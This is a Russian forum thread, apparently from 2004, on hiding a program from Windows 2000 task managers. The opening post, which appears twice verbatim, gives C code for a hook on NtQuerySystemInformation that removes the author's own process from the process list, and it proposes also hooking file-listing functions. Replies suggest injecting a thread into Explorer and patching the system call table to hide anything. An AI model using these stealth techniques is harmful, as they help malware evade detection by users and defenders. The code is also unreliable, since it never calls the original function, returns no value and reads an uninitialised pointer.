Там где Я и мне, это не Я, а какойто добрый саморитянен.
Я довольно долго пытался сделать свою программу невидимой в Windows 2000. Максимум, что я смог найти в интернете - это то что основой любого диспетчера задач является функция NtQuerySystemInformation, ее описание, а также то, что обмануть эту функцию невозможно. Не знаю, почему так говорят, но обмануть ее можно и это очень просто.
Вот, что мне удалось нарыть про эту функцию:
NTAPI Hook_NtQuerySystemInformation(
LONG type, // тип требуемой информации
PVOID SystemInformation, // указатель на буфер, в который вернется информация
LONG SystemInformationLength, // размер буфера в байтах
PLONG ReturnLength // сколько байт было возвращено или требуется
);
Как было указано, первый параметр отвечает за тип требуемой информации. Нас интересует только информация о процессах (type = 5). Далее работаем со следующими структурами:
После вызова функции, если не произошло ошибки, первым элементом буфера окажется структура SYSTEM_PROCESS_INFORMATION, описывающая отдельный процесс. Первым членом этой структуры будет смещение, указывающее на следующий процесс или NULL, если это последний процесс в списке.
Теперь осталось только перехватить все вызовы этой функции и немного поменять смещения, чтобы вызывающая функцию программа перепрыгнула через наш процесс. Наш это процесс или не наш определяем по идентификатору процесса progProcessId, определяемому при запуске программы. Теперь, после перехвата функции NtQuerySystemInformation (все детали перехвата очень подробно описаны в книге Рихтера или смотрите исходники), вместо оригинальной функции сначала вызывается наша:
NTAPI Hook_NtQuerySystemInformation(
LONG type, // тип информации
PVOID SystemInformation, // указатель на буфер
LONG SystemInformationLength, // размер буфера в байтах
PLONG ReturnLength // указатель на 32-битное число
)
{
SYSTEM_PROCESS_INFORMATION *pinfo, *pinfo_last;
// если получается информация о процессах
if(type == 5)
{
if(SystemInformationLength > 20000)
{
pinfo = (SYSTEM_PROCESS_INFORMATION*)SystemInformation;
for(;;)
{
// если идентификатор процесса равен идентификатору нашего процесса
if(pinfo->ProcessID == progProcessId)
{
// если наш процесс последний в списке
if(pinfo->NextOffest == 0)
{ // предпоследний процесс теперь стал последним, а наш исчез
pinfo_last->NextOffest = 0;
}
else
{ // или прыгаем через наш процесс
pinfo_last->NextOffest += pinfo->NextOffest;
}
}
if(pinfo->NextOffest == 0) break;
// предудущий процесс теперь равен текущему
pinfo_last = pinfo;
// переходим к следующему процессу
pinfo = (SYSTEM_PROCESS_INFORMATION*)((char *)pinfo + pinfo->NextOffest);
}
}
}
}
Теперь любая вызывающая программа при просмотре возвращенного буфера будет прыгать через наш процесс. Вот и все.
Конечно для полного сокрытия программы в WINDOWS 2000 этого маловато, стоит также перехватить функции просмотра загруженных библиотек, FindFirsFile, FindNextFile, подставляя вместо нужного файла ".."
Там где Я и мне, это не Я, а какойто добрый саморитянен.
Я довольно долго пытался сделать свою программу невидимой в Windows 2000. Максимум, что я смог найти в интернете - это то что основой любого диспетчера задач является функция NtQuerySystemInformation, ее описание, а также то, что обмануть эту функцию невозможно. Не знаю, почему так говорят, но обмануть ее можно и это очень просто.
Вот, что мне удалось нарыть про эту функцию:
NTAPI Hook_NtQuerySystemInformation(
LONG type, // тип требуемой информации
PVOID SystemInformation, // указатель на буфер, в который вернется информация
LONG SystemInformationLength, // размер буфера в байтах
PLONG ReturnLength // сколько байт было возвращено или требуется
);
Как было указано, первый параметр отвечает за тип требуемой информации. Нас интересует только информация о процессах (type = 5). Далее работаем со следующими структурами:
После вызова функции, если не произошло ошибки, первым элементом буфера окажется структура SYSTEM_PROCESS_INFORMATION, описывающая отдельный процесс. Первым членом этой структуры будет смещение, указывающее на следующий процесс или NULL, если это последний процесс в списке.
Теперь осталось только перехватить все вызовы этой функции и немного поменять смещения, чтобы вызывающая функцию программа перепрыгнула через наш процесс. Наш это процесс или не наш определяем по идентификатору процесса progProcessId, определяемому при запуске программы. Теперь, после перехвата функции NtQuerySystemInformation (все детали перехвата очень подробно описаны в книге Рихтера или смотрите исходники), вместо оригинальной функции сначала вызывается наша:
NTAPI Hook_NtQuerySystemInformation(
LONG type, // тип информации
PVOID SystemInformation, // указатель на буфер
LONG SystemInformationLength, // размер буфера в байтах
PLONG ReturnLength // указатель на 32-битное число
)
{
SYSTEM_PROCESS_INFORMATION *pinfo, *pinfo_last;
// если получается информация о процессах
if(type == 5)
{
if(SystemInformationLength > 20000)
{
pinfo = (SYSTEM_PROCESS_INFORMATION*)SystemInformation;
for(;;)
{
// если идентификатор процесса равен идентификатору нашего процесса
if(pinfo->ProcessID == progProcessId)
{
// если наш процесс последний в списке
if(pinfo->NextOffest == 0)
{ // предпоследний процесс теперь стал последним, а наш исчез
pinfo_last->NextOffest = 0;
}
else
{ // или прыгаем через наш процесс
pinfo_last->NextOffest += pinfo->NextOffest;
}
}
if(pinfo->NextOffest == 0) break;
// предудущий процесс теперь равен текущему
pinfo_last = pinfo;
// переходим к следующему процессу
pinfo = (SYSTEM_PROCESS_INFORMATION*)((char *)pinfo + pinfo->NextOffest);
}
}
}
}
Теперь любая вызывающая программа при просмотре возвращенного буфера будет прыгать через наш процесс. Вот и все.
Конечно для полного сокрытия программы в WINDOWS 2000 этого маловато, стоит также перехватить функции просмотра загруженных библиотек, FindFirsFile, FindNextFile, подставляя вместо нужного файла ".."
Не такой уж это и бегиннерз :-)17.03.04 13:16 Автор: amirul <Serge> Статус: The Elderman
Единственный выход - создавать поток в чужом процессе (смотри CreateRemoteThread). Для большинства пользователей поток в эксплорере - более чем достаточно.
Для того, чтобы полностью скрыть присутствие процесса надо патчить системные вызовы. Для начала STFW по запросу "keservicedescriptortable+ntquerysysteminformation". На мой взгляд в результатах ПРЕДОСТАТОЧНО информации, чтобы написать скрывальщик чего угодно
Кстати, а в нашем забытом Богом FAQ'е про это статьи еще нет? Если нет, то по-мойму, стоит...17.03.04 16:11 Автор: Ktirf <Æ Rusakov> Статус: Elderman
подробно о проекте
Анализ криптографических сетевых...
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
